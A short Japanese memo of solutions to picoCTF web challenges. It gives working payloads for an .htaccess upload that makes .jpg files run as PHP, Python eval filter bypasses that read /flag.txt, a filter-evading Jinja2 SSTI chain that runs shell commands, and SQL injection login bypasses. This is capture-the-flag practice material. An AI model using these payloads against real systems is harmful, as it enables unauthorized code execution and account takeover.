memo: picoCTF – Web

byp4ss3d

AddType application/x-httpd-php .jpg

を含んだ .htaccess をアップすることで .jpg ファイルに記述された php が動作するようになる。

3v@l

タイトルで推測できるが eval のフィルターバイパス問題。

最終的には以下コマンド実行結果を表示させたい。

open('/flag.txt').read()

base64 でバイパスしてみる。指定すべき文字列を確認。

$ echo -n '/flag.txt' | base64
L2ZsYWcudHh0

以下を入力ボックスに入力。

open(__import__('base64').b64decode('L2ZsYWcudHh0').decode()).read()

別解。/ と . だけ chr で指定して、他は文字を分断して対応。

open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()

SSTI 2

Web アプリ側で実装されたフィルターを搔い潜って SSTI 攻撃を成立させる。

最終的には以下のように SSTI 攻撃による Linux コマンド実行結果を表示させたい。

{{request.application.__globals__['__builtins__'].__import__('os').popen('ls').read()}}

. (dot) や _ (under score) や ” (double quotation) がフィルタされている。

そこで . のようなプロパティ呼び出しや辞書キー呼び出し、_ の代替を考える。結果。

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}

__globals__ や __builtins__ や __import__ は実際は実行環境 (通常のスクリプトか exec , jinja2 等の埋め込み環境か、等) によって辞書だったりオブジェクトプロパティだったりするため __getitem__ を手探りで使う感じか。

Web Gauntlet 2

AND password= を文字列として処理させる。

Username: ad'||'min' group by 
Password: '

この結果、

SELECT username, password FROM users WHERE username='ad'||'min' group by' AND password='''

という処理がされる。結果として1行でもエントリがあれば認証成功なので group by は何でもよい。(少なくとも SQLite では)

Web Gauntlet 3

25 文字以内。SQLite で使える GLOB で以下のような WHERE 句を作る。

WHERE password = '' GLOB '*'

処理の順序としては password = ” により FALSE と判定されるが続く GLOB ‘*’ により FALSE は文字列 ‘0’ にキャストされ ‘0’ GLOB ‘*’ により TRUE 判定となる。

Username: ad'||'min
Password: ' GLOB '*